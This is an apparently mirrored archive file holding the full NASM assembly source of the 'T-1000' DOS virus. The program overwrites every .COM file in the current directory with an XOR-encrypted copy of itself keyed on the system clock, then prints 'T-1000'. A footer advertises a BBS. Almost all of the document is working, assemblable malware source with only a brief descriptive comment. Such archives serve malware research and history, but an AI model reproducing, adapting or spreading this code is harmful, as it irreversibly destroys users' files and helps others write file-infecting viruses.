mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
96 lines
2.0 KiB
NASM
96 lines
2.0 KiB
NASM
;
|
|
; T-1000 Virus
|
|
;
|
|
; This virus is a Non-Resident Overwriting Self-Encrypting .COM File Inctector.
|
|
; When an infected program is started, the virus will infect all files in the
|
|
; current directory and use the time counter for its encryption. It displays
|
|
; the text "T-1000" when it is ready infecting.
|
|
|
|
Code Segment para 'code'
|
|
Assume Cs:Code,Ds:Code
|
|
|
|
Length Equ Offset EndByte-Offset Main
|
|
|
|
Org 100h
|
|
|
|
Main: Mov Si,Offset Decrypt
|
|
Mov Di,Si
|
|
Mov Cl,Offset EndByte-Offset Decrypt
|
|
On2: Lodsb
|
|
Db 34h
|
|
Crypt Db 0
|
|
Stosb
|
|
Dec Cl
|
|
Cmp Cl,0ffh
|
|
Jne On2
|
|
|
|
Decrypt:
|
|
Mov Ah,4eh
|
|
Push Ax
|
|
|
|
Encr:
|
|
Mov Ah,2ch
|
|
Int 21h
|
|
Mov Crypt,Dl
|
|
Mov Si,Offset Decrypt
|
|
Mov Di,Offset EndByte+10
|
|
Mov Cx,Offset EndByte-Offset Decrypt
|
|
On3: Lodsb
|
|
Xor Al,Crypt
|
|
Stosb
|
|
Dec Cx
|
|
Cmp Cx,0ffffh
|
|
Jne On3
|
|
|
|
Pop Ax
|
|
On1: Xor Cx,Cx
|
|
Mov Dx,Offset Nam
|
|
Int 21h
|
|
Jc Einde
|
|
|
|
Mov Ax,3d01h
|
|
Mov Dx,9eh
|
|
Int 21h
|
|
Mov Bx,Ax
|
|
|
|
Mov Ah,40h
|
|
Push Ax
|
|
Mov Cx,Offset Decrypt-Offset Main
|
|
Mov Dx,Offset Main
|
|
Int 21h
|
|
|
|
Pop Ax
|
|
Mov Cx,Offset EndByte-Offset Decrypt
|
|
Mov Dx,Offset EndByte+10
|
|
Int 21h
|
|
|
|
Mov Ah,3eh
|
|
Int 21h
|
|
|
|
Mov Ah,4fh
|
|
Push Ax
|
|
Jmp Short Encr
|
|
|
|
Einde:
|
|
Mov Ah,9
|
|
Mov Dx,Offset Msg
|
|
Push Cs
|
|
Pop Ds
|
|
Int 21h
|
|
Int 20h
|
|
|
|
Msg Db 'T-1000$'
|
|
|
|
Nam Db '*.Com',0
|
|
|
|
EndByte Db 0
|
|
|
|
Code Ends
|
|
End Main
|
|
|
|
|
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|